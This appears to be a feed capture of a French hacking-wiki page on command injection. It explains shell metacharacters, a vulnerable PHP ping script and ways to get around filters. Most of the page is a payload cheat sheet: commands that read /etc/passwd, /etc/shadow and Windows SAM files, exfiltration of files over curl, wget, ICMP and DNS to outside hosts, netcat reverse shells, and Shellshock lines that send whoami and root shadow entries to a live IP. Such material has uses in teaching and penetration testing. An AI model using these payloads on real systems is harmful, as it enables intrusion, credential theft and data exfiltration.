XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 systeminfo&lt;br /&gt;
 | systeminfo&lt;br /&gt;
 ; systeminfo&lt;br /&gt;
 &amp;amp; systeminfo&lt;br /&gt;
 &amp;amp;&amp;amp; systeminfo&lt;br /&gt;
 system('ls')&lt;br /&gt;
 system('pwd')&lt;br /&gt;
 system('pwd');&lt;br /&gt;
 || system('sleep 5');&lt;br /&gt;
 | system('sleep 5');&lt;br /&gt;
 ; system('sleep 5');&lt;br /&gt;
 &amp;amp; system('sleep 5');&lt;br /&gt;
 &amp;amp;&amp;amp; system('sleep 5');&lt;br /&gt;
 system('sleep 5')&lt;br /&gt;
 system('sleep 5');&lt;br /&gt;
 system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')&lt;br /&gt;
 system('wget https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('whoami')&lt;br /&gt;
 system('whoami');&lt;br /&gt;
 test*; ls -lhtR /var/www/&lt;br /&gt;
 test* || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test*; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 $(`type C:\boot.ini`)&lt;br /&gt;
 &amp;amp;&amp;amp;type C:\\boot.ini&lt;br /&gt;
 | type C:\Windows\repair\SAM&lt;br /&gt;
 ; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 type C:\Windows\repair\SAM&lt;br /&gt;
 | type C:\Windows\repair\SYSTEM&lt;br /&gt;
 ; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 type C:\Windows\repair\SYSTEM&lt;br /&gt;
 | type C:\WINNT\repair\SAM&lt;br /&gt;
 ; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SYSTEM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 uname&lt;br /&gt;
 ;uname;&lt;br /&gt;
 | uname -a&lt;br /&gt;
 ; uname -a&lt;br /&gt;
 &amp;amp; uname -a&lt;br /&gt;
 &amp;amp;&amp;amp; uname -a&lt;br /&gt;
 uname -a&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 ;/usr/bin/id|&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;};/usr/bin/perl -e 'print \&amp;quot;Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\&amp;quot;;system(\&amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\&amp;quot;);'&lt;br /&gt;
 () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11&lt;br /&gt;
 | wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)&lt;br /&gt;
 &amp;amp;&amp;amp; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 which curl&lt;br /&gt;
 which gcc&lt;br /&gt;
 which nc&lt;br /&gt;
 which netcat&lt;br /&gt;
 which perl&lt;br /&gt;
 which python&lt;br /&gt;
 which wget&lt;br /&gt;
 whoami&lt;br /&gt;
 | whoami&lt;br /&gt;
 ; whoami&lt;br /&gt;
 ' whoami&lt;br /&gt;
 ' || whoami&lt;br /&gt;
 ' &amp;amp; whoami&lt;br /&gt;
 ' &amp;amp;&amp;amp; whoami&lt;br /&gt;
 '; whoami&lt;br /&gt;
 &amp;quot; whoami&lt;br /&gt;
 &amp;quot; || whoami&lt;br /&gt;
 &amp;quot; | whoami&lt;br /&gt;
 &amp;quot; &amp;amp; whoami&lt;br /&gt;
 &amp;quot; &amp;amp;&amp;amp; whoami&lt;br /&gt;
 &amp;quot;; whoami&lt;br /&gt;
 $(`whoami`)&lt;br /&gt;
 &amp;amp; whoami&lt;br /&gt;
 &amp;amp;&amp;amp; whoami&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{ get_user_file(&amp;quot;C:\boot.ini&amp;quot;) }}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{ get_user_file(&amp;quot;/etc/hosts&amp;quot;) }}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{4+4}}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{4+8}}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{person.secret}}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{person.name}}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 {1} + {1}&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;br /&gt;
*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93581</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93581"/>
		<updated>2023-12-02T18:57:45Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Windows */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
===== Unix =====&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/passwd&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/shadow&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 ;id&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;id;&lt;br /&gt;
 |id&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 |id|&lt;br /&gt;
 |/usr/bin/id|&lt;br /&gt;
 ||/usr/bin/id|&lt;br /&gt;
 |id;&lt;br /&gt;
 ||/usr/bin/id;&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id;&lt;br /&gt;
 \nid;&lt;br /&gt;
 \n/usr/bin/id|&lt;br /&gt;
 \nid|&lt;br /&gt;
 ;/usr/bin/id\n&lt;br /&gt;
 ;id\n&lt;br /&gt;
 |usr/bin/id\n&lt;br /&gt;
 |nid\n&lt;br /&gt;
 `id`&lt;br /&gt;
 `/usr/bin/id`&lt;br /&gt;
 a);id&lt;br /&gt;
 a;id&lt;br /&gt;
 a);id;&lt;br /&gt;
 a;id;&lt;br /&gt;
 a);id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a)|id&lt;br /&gt;
 a|id&lt;br /&gt;
 a)|id;&lt;br /&gt;
 a|id&lt;br /&gt;
 |/bin/ls -al&lt;br /&gt;
 a);/usr/bin/id&lt;br /&gt;
 a;/usr/bin/id&lt;br /&gt;
 a);/usr/bin/id;&lt;br /&gt;
 a;/usr/bin/id;&lt;br /&gt;
 a);/usr/bin/id|&lt;br /&gt;
 a;/usr/bin/id|&lt;br /&gt;
 a)|/usr/bin/id&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 a)|/usr/bin/id;&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;system('id')&lt;br /&gt;
 ;system('/usr/bin/id')&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 | id&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 ; id&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 `id`&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
